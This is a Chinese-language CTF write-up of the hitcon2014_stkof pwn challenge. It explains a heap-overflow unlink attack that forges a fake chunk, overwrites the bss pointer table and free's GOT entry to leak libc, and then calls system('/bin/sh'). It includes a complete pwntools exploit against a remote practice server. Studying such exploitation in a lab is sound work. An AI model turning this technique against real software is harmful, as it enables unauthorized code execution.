最近开始学堆,看了wiki和一些大佬的文章搞懂了这个有关unlink的题目:hitcon2014_stkof
首先拖进ida,看看几个主要的函数:
函数1,创建堆,同时可以看到,堆的地址被存储在了s处,点进去看看
发现是bss段,像这样的指针,就是这类题目的一个特征
函数2,编辑堆内容,长度可以自己设置,有堆溢出漏洞
函数3,free堆
函数4用处不大
先把三个函数写好:
def alloc(size):
sh.sendline('1')
sh.sendline(str(size))
sh.recvuntil('OK\n')
def edit(idx, size, content):
sh.sendline('2')
sh.sendline(str(idx))
sh.sendline(str(size))
sh.send(content)
sh.recvuntil('OK\n')
def delete(idx):
sh.sendline('3')
sh.sendline(str(idx))
然后创建三个堆
alloc(0x100)
alloc(0x20)
alloc(0x80)
注意第三个堆的大小,小于0x80会归到fastbin里面去
这一步之后,我们来看看bss段和堆的布局:
bss段:
然后是第二个chunk和第三个chunk的情况:
不难看出,0x602148,0x602150,0x602158处存放的分别是chunk1,chunk2,chunk3的地址
因为我们要在chunk2处伪造fake chunk,然后free chunk3,因此我们就把存放chunk2地址的地方,即0x602150设为ptr,然后进行fake chunk的构造以及溢出数据的写入
ptr=0x602150
payload=p64(0)+p64(0x21)+p64(ptr-0x18)+p64(ptr-0x10)
payload+=p64(0x20)+p64(0x90)
edit(2,len(payload),payload)
这步进行之后,chunk2和chunk3的情况是这样的:
注意chunk3头部的0x20和0x90,把chunk3的F位置0,表示前一个chunk为空闲状态,同时prev_size为前面fake chunk的大小
然后free chunk3
delete(3)
这里是最关键的一步,发生了很多事
当我们free chunk3时,系统判断前一个chunk是否处于空闲状态,我们上面已经通过堆溢出布置好了chunk3的F位和prev_size,因此系统认为前一个chunk处于空闲状态,并通过chunk3的位置和prev_size定位到前一个chunk,即我们伪造的fake chunk。然后就是合并这两个chunk,这时候要再进行判断,这里判断的条件就是:
FD->bk=fake chunk && BK->fd=fake chunk
其中,
FD=fake chunk->fd
BK=fake chunk->bk
即
FD=0x602138
BK=0x602140
所以
FD->bk=FD+0x18
BK->fd=BK+0x10
这两者的结果都是0x602150处存储的地址,即0xe05940,即为fake chunk的地址,因此我们便绕过了检测
接下来,
FD->bk=BK
BK->fd=FD
即先把0x602150处存储的数据修改为0x602140,然后再改为0x602138,所以bss段处变成了这样:
0x602150处本应该存储着chunk2的地址,但现在已经被我们改掉了,我们就可以利用这一点,向chunk2写入数据,继续进行改写
elf=ELF('./stkof')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
free=elf.got['free']
payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(puts_got)
edit(2,len(payload),payload)
由于chunk2指针已被我们修改,这一步之后,实际上改变的是bss段的数据而非chunk2的数据,bss段情况如下:
这样一来,chunk1和chunk3指针也被我们分别改成了free函数和puts函数的got地址,这样一来,向chunk1写入数据时,其实就是修改free函数的got地址
edit(1,8,p64(puts_plt))
delete(3)
这一步过后,free函数的got地址被我们改成了puts函数的plt地址,free chunk3其实就是执行puts函数,输出puts的got地址
libc=ELF('./libc.so.6')
base = u64(sh.recv(6).ljust(8,'\x00'))-libc.symbols['puts']
sh.recvuntil('OK')
system_addr=base+libc.symbols['system']
输出之后计算出基地址和system函数地址
payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(ptr+0x10)+"/bin/sh"
edit(2,len(payload),payload)
edit(1,8,p64(system_addr))
delete(3)
最后一步与上面同理,把free函数got地址改成system函数的地址,向bss段写入"/bin/sh",然后执行system函数来get shell
完整exp:
from pwn import *
sh=remote("node3.buuoj.cn",27974)
#sh=process("./stkof")
context.log_level='debug'
elf=ELF('./stkof')
libc=ELF('./libc.so.6')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
free=elf.got['free']
ptr=0x602150
def alloc(size):
sh.sendline('1')
sh.sendline(str(size))
sh.recvuntil('OK\n')
def edit(idx, size, content):
sh.sendline('2')
sh.sendline(str(idx))
sh.sendline(str(size))
sh.send(content)
sh.recvuntil('OK\n')
def delete(idx):
sh.sendline('3')
sh.sendline(str(idx))
alloc(0x100)
alloc(0x20)
alloc(0x80)
payload=p64(0)+p64(0x21)+p64(ptr-0x18)+p64(ptr-0x10)
payload+=p64(0x20)+p64(0x90)
edit(2,len(payload),payload)
delete(3)
sh.recvuntil('OK')
payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(puts_got)
edit(2,len(payload),payload)
edit(1,8,p64(puts_plt))
delete(3)
base = u64(sh.recv(6).ljust(8,'\x00'))-libc.symbols['puts']
sh.recvuntil('OK')
system_addr=base+libc.symbols['system']
payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(ptr+0x10)+"/bin/sh"
edit(2,len(payload),payload)
edit(1,8,p64(system_addr))
delete(3)
sh.interactive()
我这份代码参考的是这篇文章:https://thinkycx.me/2018-11-30-HITCON2014-stkof.html
wiki上实现起来略有不同,但也很好理解